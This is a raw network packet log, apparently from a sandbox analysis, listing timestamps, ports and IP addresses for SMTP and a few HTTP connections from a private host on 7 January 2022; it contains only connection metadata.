Jan 7, 2022 15:56:27.027360916 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027374029 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027384996 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027395964 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027401924 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027406931 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027419090 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027429104 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027466059 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027477980 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027498007 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.049803972 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.067584038 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.067711115 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.108181953 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.108386993 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.218135118 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.218182087 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.218204975 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.218228102 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.218296051 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.218369007 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.218424082 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.218432903 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.219074965 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.219341993 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.219620943 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.219641924 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.219747066 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.219794989 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.219914913 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220031977 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220386028 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220397949 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220408916 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220421076 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220465899 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220477104 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220524073 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220566034 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220580101 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220592022 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220649004 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220660925 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220736027 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220741987 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220788956 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220799923 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220858097 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220870018 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.220915079 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.220943928 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.221007109 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.239466906 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260327101 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260368109 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260385036 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260405064 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260426044 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260461092 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.260555983 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.260622978 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.300925970 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.300968885 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.301753998 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.362346888 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.410866976 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410895109 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410903931 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410914898 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410922050 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410933018 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.410963058 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411031008 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411056042 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411077023 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411088943 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411139965 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411142111 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411190987 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411204100 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411251068 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411288023 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411324024 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411356926 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411374092 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411381960 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411407948 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411457062 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.411670923 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411683083 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411689997 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.411762953 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412061930 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412090063 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412126064 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412147045 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412173033 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412184000 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412225008 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412250042 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412280083 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412307024 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412327051 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412373066 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412401915 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412437916 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412514925 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412539959 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412545919 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412566900 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412638903 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412642002 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412661076 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412687063 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412692070 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412751913 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412779093 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412822962 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412902117 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.412936926 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412949085 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.412974119 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413058043 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413079023 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413122892 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413167000 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413201094 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413223028 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413247108 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413311958 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413358927 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413395882 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413417101 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413453102 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413481951 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413564920 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.413590908 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413602114 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413609028 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413654089 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413681984 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413775921 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413866997 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.413928032 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414005041 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414083004 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414093971 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414205074 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414248943 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414261103 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414320946 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414333105 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414499044 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414527893 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.414683104 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453227043 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453258991 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453277111 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453558922 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453577995 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453593016 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453607082 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453620911 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453635931 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453702927 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.453717947 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.494298935 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.494337082 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.551923990 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.553513050 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.604041100 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604070902 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604300022 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604322910 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604337931 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604353905 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604368925 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604383945 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604434967 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604450941 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604460001 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604475975 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604511976 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604557991 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604593992 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604646921 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604684114 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604700089 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604715109 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604769945 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604808092 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604824066 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604890108 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.604906082 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605010986 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605031967 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605048895 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605063915 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605077982 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605093002 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605108976 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605247974 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605268002 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605299950 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605309963 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605396032 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605412006 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605434895 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605449915 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605578899 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605634928 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605808020 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.605827093 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606000900 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606034040 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606153965 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606276035 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606530905 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606637955 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606672049 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606753111 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606836081 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606919050 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.606993914 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.607073069 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.607305050 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.607352018 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.607618093 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.607644081 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.744371891 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.744404078 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.744527102 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.744585991 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.744764090 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.800193071 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.934083939 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.934117079 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.934264898 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.934318066 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.990259886 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.990288019 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.990425110 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.990474939 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.126359940 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.126390934 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.126528025 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.126614094 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.126657963 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.126674891 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.126684904 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.126720905 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.126777887 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.316579103 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316607952 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316616058 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316623926 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316632032 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316637993 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316648960 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316656113 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316663980 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316673040 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316680908 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316692114 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.316840887 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.316929102 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.506349087 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.506373882 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.506381989 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.506724119 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.506747961 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.696237087 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.740211010 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.841556072 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.841598034 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:28.841635942 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:28.841677904 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:29.108174086 CET	49813	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:32.144032955 CET	49813	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:38.148251057 CET	49813	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:38.576253891 CET	49814	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:38.908508062 CET	49815	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:38.909120083 CET	49816	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:41.661751986 CET	49814	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:41.972908974 CET	49815	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:42.029067039 CET	49816	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:46.867615938 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.870378971 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.873827934 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.873999119 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.874206066 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.874300957 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.874393940 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.874412060 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.975838900 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.975943089 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.976264000 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.976334095 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.976576090 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.976588964 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.976664066 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.976732969 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.976764917 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.976768017 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.976793051 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.976965904 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.977056980 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.977121115 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:46.977128983 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:46.979531050 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.079992056 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080028057 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080198050 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.080199003 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.080231905 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080435038 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080441952 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.080677032 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080699921 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.080713987 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.080766916 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.080779076 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.081247091 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.081341982 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.083473921 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.084371090 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.182754040 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.182806969 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183053017 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183073997 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183176041 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183185101 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.183257103 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183316946 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.183589935 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183609962 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183624983 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.183701992 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.184021950 CET	25	49821	104.47.51.33	192.168.2.4
